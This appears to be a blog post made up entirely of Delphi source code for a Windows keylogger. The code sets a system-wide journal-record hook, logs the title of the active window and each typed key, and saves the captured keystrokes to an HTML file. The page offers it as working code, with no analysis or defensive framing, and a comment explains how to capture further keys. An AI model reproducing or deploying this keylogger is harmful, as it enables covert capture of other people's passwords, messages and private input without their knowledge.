var
MainHook : HHOOK;
Wnd1,Wnd2 : array[0..255] of char;
//
function KeyboardHook(Code: Integer; wParam : WPARAM;
lParam : LPARAM): Longint; stdcall;
var
Buffer : TEventMsg;
procedure TranslateKey(Key : Byte);
begin
if (Key <> VK_LBUTTON) and (Key <> VK_RBUTTON) then
begin
GetWindowText(GetForegroundWindow, Wnd2, SizeOf(Wnd2));
if wnd1 <> wnd2 then
begin
Form1.Memo1.Lines.Add(wnd2);
Wnd1 := Wnd2;
end;
end;
with Form1 do
begin
case Key of
VK_RETURN : Memo1.Lines.Add('[Enter]');
VK_BACK : Memo1.Lines.Add('[Backspace]');
VK_ESCAPE : Memo1.Lines.Add('[Esc]');
VK_SHIFT : Memo1.Lines.Add('[Shift]');
VK_MENU : Memo1.Lines.Add('[Alt]');
VK_CONTROL : Memo1.Lines.Add('[Ctrl]');
VK_DELETE : Memo1.Lines.Add('[Delete]');
VK_SPACE : Memo1.Lines.Add('[Space]');
VK_MULTIPLY : Memo1.Text := Memo1.Text + '*';
VK_ADD : Memo1.Text := Memo1.Text + '+';
VK_SUBTRACT : Memo1.Text := Memo1.Text + '-';
VK_DECIMAL : Memo1.Text := Memo1.Text + '.';
VK_DIVIDE : Memo1.Text := Memo1.Text + '/';
188 : Memo1.Text := Memo1.Text + ',';
192 : Memo1.Text := Memo1.Text + '`';
222 : Memo1.Text := Memo1.Text + Chr(39);
220 : Memo1.Text := Memo1.Text + '';
219 : Memo1.Text := Memo1.Text + '[';
221 : Memo1.Text := Memo1.Text + ']';
186 : Memo1.Text := Memo1.Text + ';';
191 : Memo1.Text := Memo1.Text + '/';
190 : Memo1.Text := Memo1.Text + '.';
44 : Memo1.Text := Memo1.Text + ',';
187 : Memo1.Text := Memo1.Text + '=';
189 : Memo1.Text := Memo1.Text + '-';
65 : Memo1.Text := Memo1.Text + 'a';
66 : Memo1.Text := Memo1.Text + 'b';
67 : Memo1.Text := Memo1.Text + 'c';
68 : Memo1.Text := Memo1.Text + 'd';
69 : Memo1.Text := Memo1.Text + 'e';
70 : Memo1.Text := Memo1.Text + 'f';
71 : Memo1.Text := Memo1.Text + 'g';
72 : Memo1.Text := Memo1.Text + 'h';
73 : Memo1.Text := Memo1.Text + 'i';
74 : Memo1.Text := Memo1.Text + 'j';
75 : Memo1.Text := Memo1.Text + 'k';
76 : Memo1.Text := Memo1.Text + 'l';
77 : Memo1.Text := Memo1.Text + 'm';
78 : Memo1.Text := Memo1.Text + 'n';
79 : Memo1.Text := Memo1.Text + 'o';
80 : Memo1.Text := Memo1.Text + 'p';
81 : Memo1.Text := Memo1.Text + 'q';
82 : Memo1.Text := Memo1.Text + 'r';
83 : Memo1.Text := Memo1.Text + 's';
84 : Memo1.Text := Memo1.Text + 't';
85 : Memo1.Text := Memo1.Text + 'u';
86 : Memo1.Text := Memo1.Text + 'v';
87 : Memo1.Text := Memo1.Text + 'w';
88 : Memo1.Text := Memo1.Text + 'x';
89 : Memo1.Text := Memo1.Text + 'y';
90 : Memo1.Text := Memo1.Text + 'z';
{ Numpad Keys }
VK_NUMPAD0 : Memo1.Text := Memo1.Text + '0';
VK_NUMPAD1 : Memo1.Text := Memo1.Text + '1';
VK_NUMPAD2 : Memo1.Text := Memo1.Text + '2';
VK_NUMPAD3 : Memo1.Text := Memo1.Text + '3';
VK_NUMPAD4 : Memo1.Text := Memo1.Text + '4';
VK_NUMPAD5 : Memo1.Text := Memo1.Text + '5';
VK_NUMPAD6 : Memo1.Text := Memo1.Text + '6';
VK_NUMPAD7 : Memo1.Text := Memo1.Text + '7';
VK_NUMPAD8 : Memo1.Text := Memo1.Text + '8';
VK_NUMPAD9 : Memo1.Text := Memo1.Text + '9';
{ Numbers }
48 : Memo1.Text := Memo1.Text + '0';
49 : Memo1.Text := Memo1.Text + '1';
50 : Memo1.Text := Memo1.Text + '2';
51 : Memo1.Text := Memo1.Text + '3';
52 : Memo1.Text := Memo1.Text + '4';
53 : Memo1.Text := Memo1.Text + '5';
54 : Memo1.Text := Memo1.Text + '6';
55 : Memo1.Text := Memo1.Text + '7';
56 : Memo1.Text := Memo1.Text + '8';
57 : Memo1.Text := Memo1.Text + '9';
//to capture other keys you must uncomment the line below:
//else Memo.Text := Memo.Text + Chr(Key);
end;
end;
end;
begin
Result := 0;
Buffer := PEventMsg(lParam)^;
if Buffer.Message = WM_KEYUP then begin TranslateKey(Buffer.paramL); end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
MainHook := SetWindowsHookEx(WH_JOURNALRECORD, KeyboardHook, hInstance, 0);
//DeleteFile('log.html');
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(MainHook);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
//save captured keystrokes to HTML file
Memo2.Lines.Add('<body bgcolor="#000000">');
Memo2.Lines.Add(Memo1.Text);
Memo2.Lines.SaveToFile('log.html');
Memo2.Lines.Add('<body>');
Memo1.Clear;
end;
Keine Kommentare:
Kommentar veröffentlichen